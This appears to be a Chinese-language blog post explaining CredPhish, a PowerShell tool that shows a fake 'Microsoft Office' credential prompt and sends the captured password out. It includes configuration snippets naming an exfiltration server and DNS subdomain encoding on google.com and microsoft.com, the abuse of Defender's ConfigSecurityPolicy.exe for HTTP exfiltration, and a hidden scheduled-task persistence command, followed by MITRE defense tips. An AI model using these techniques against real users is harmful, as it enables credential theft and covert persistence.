使用PowerShell进行用户密码钓鱼攻击的技术解析

本文详细解析了如何利用PowerShell脚本CredPhish实施密码钓鱼攻击,包括技术原理、DNS/HTTP数据外传方法、攻击配置及防御建议,涉及CredentialPicker API、Resolve-DnsName等关键技术点。

使用PowerShell进行用户密码钓鱼攻击

伪造凭证提示是有效的权限提升和横向移动技术。在Windows环境中,用户经常会遇到Outlook、VPN等各类身份验证协议的随机密码弹窗。攻击者会滥用Windows和PowerShell内置功能调用凭证弹窗以窃取密码。

根据MITRE ATT&CK框架定义: “当需要额外权限的程序执行时…操作系统通常会提示用户输入凭证。攻击者可能模仿常见系统组件,通过PowerShell等语言显示看似合法的凭证提示。”

CredPhish工具解析

CredPhish是一个通过调用凭证弹窗并外传密码的PowerShell脚本,其技术核心包括:

  • 使用CredentialPicker API收集密码
  • 利用PowerShell的Resolve-DnsName实现DNS外传
  • 通过Windows Defender的ConfigSecurityPolicy.exe执行任意GET请求

DNS外传技术细节

默认情况下,CredPhish使用PowerShell内置的DNS解析器Resolve-DnsName

  1. 将凭证字符转换为十六进制值
  2. 分割为预定义长度的数据块
  3. 将数据块嵌入流行网站子域名

示例:用户名"tokyoneon"的十六进制值(746f6b796f6e656f6e)出现在google.com和office.com子域名中。

脚本配置详解

credphish.ps1采用独立脚本设计,避免使用可能引发告警的Import-Module。关键配置参数包括:

1
2
3
4
5
6
7
8
9
# 外传服务器地址
$exfilServer = "192.168.56.112"

# 弹窗设置
$targetUser = $env:username
$promptCaption = "Microsoft Office" 
$promptMessage = "Connecting to: $targetUser@blackhillsinfosec.com"
$maxTries = 1  # 弹窗最大显示次数
$validateCredentials = $false  # 是否验证凭证有效性

多种外传方法

DNS外传配置

1
2
3
$enableDnsExfil = $true
$exfilDomains = @('.microsoft.com', '.google.com')
$subdomainLength = 6  # 子域名长度需为2-60的偶数

使用Kali的dns_server.py脚本可拦截并重组明文凭证。

HTTP外传方法

通过Windows Defender组件实现:

1
2
$enableHttpExfil = $false
$ConfigSecurityPolicy = "C:\Prog*Files\Win*Defender\ConfigSecurityPolicy.exe"

持久化攻击技术

通过Windows任务计划程序实现定时执行:

1
schtasks /create /sc minute /mo 2 /tn "credphish" /tr "powershell -ep bypass -WindowStyle Hidden C:\path\to\credPhish\credphish.ps1"

防御建议

MITRE ATT&CK框架推荐:

  1. 开展用户培训,提高对异常弹窗的警惕性
  2. 监控异常进程和脚本解释器行为
  3. 检查输入提示的合法性特征(横幅、文本、时间等)

该技术源自Invoke-LoginPrompt、CredsLeaker等项目,更激进的变种可能涉及使用Cobalt Strike伪造整个Windows锁屏界面。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计